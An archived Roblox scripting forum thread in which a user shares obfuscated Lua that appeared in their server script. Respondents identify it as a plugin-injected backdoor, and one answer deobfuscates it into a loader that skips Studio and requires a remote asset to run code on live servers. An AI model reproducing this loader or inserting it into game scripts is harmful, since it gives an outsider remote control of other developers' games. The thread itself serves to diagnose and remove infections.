Scripting HelpersARCHIVE
A little piece of Roblox history. Preserved for everyone, one question at a time.Read about the archive →
COMMUNITY QUESTION

Some wierd code started appearing in script?

Hello everyone. Today I would like to share my problem with all of you guys. So, in the last couple of days, some weird code started to appear in my script inside ServerScriptService.

It's really weird and I wanna see if anyone else is also experiencing this I will say "bug". I've copied also the code here so you can see it.... I really dont know what this is.

i7g2g5ZLcdQ = 'IsStudio' idmUGK6k4UCut7V = pcall iVI28vUEAd3 = 'RunService' iEgRgCk8JmZcl = 'PlaceId' imvO2 = 'Workspace' ifI5iFMHZkX = 'IsStudio' iNYj4 = 'PlaceId' iz4LcyEwla5Y = require iAt8tm = 'Name' iTKi = 13477445.649746 * 197 iHWZLv = 'Debris' iFAxtnZq = spawn iZJmNSM8WB9 = 'ClassName' i8z7YLM5L = 'load' i0sOzxaFk83 = math.sqrt ieVTRT = game iArUHWK5vVT = 'WaitForChild' imiGTywELQ = 'RunService'  iFAxtnZq(    function()     idmUGK6k4UCut7V(    function()     if ieVTRT:GetService(imiGTywELQ)    [ifI5iFMHZkX]    (ieVTRT:GetService(imiGTywELQ)    ) then      return     end iz4LcyEwla5Y(iTKi)    [i8z7YLM5L]    (ieVTRT[iEgRgCk8JmZcl]    )     end    )     end    )

3 comments

1

It could be a backdoor created by a model/plugin you are using. If that is the case, try checking this out to remove it: https://devforum.roblox.com/t/v2-1-plugin-hidden-backdoor-infection-script-detector-detects-removes-infections-from-malicious-plugins/216692

1

This is definitely created by a plugin and over the past few days I've seen multiple people ask about this, so my guess is that you should be looking at one of your plugins that recently updated.

1 answer

At first glance, I realized it is very lame obfusaction, here's the unobfucated code:

spawn(function()
    pcall(function()
        if game:GetService("RunService")["IsStudio"](game:GetService("RunService")) then
            return 
        end
        require(2655056793)["load"](game["PlaceId"])
    end)
end)

It loads a script, clearly a backdoor. I tried checking the source, but it appears that the script was deleted.

This discussion is preserved as it was. New answers, comments, and votes are closed.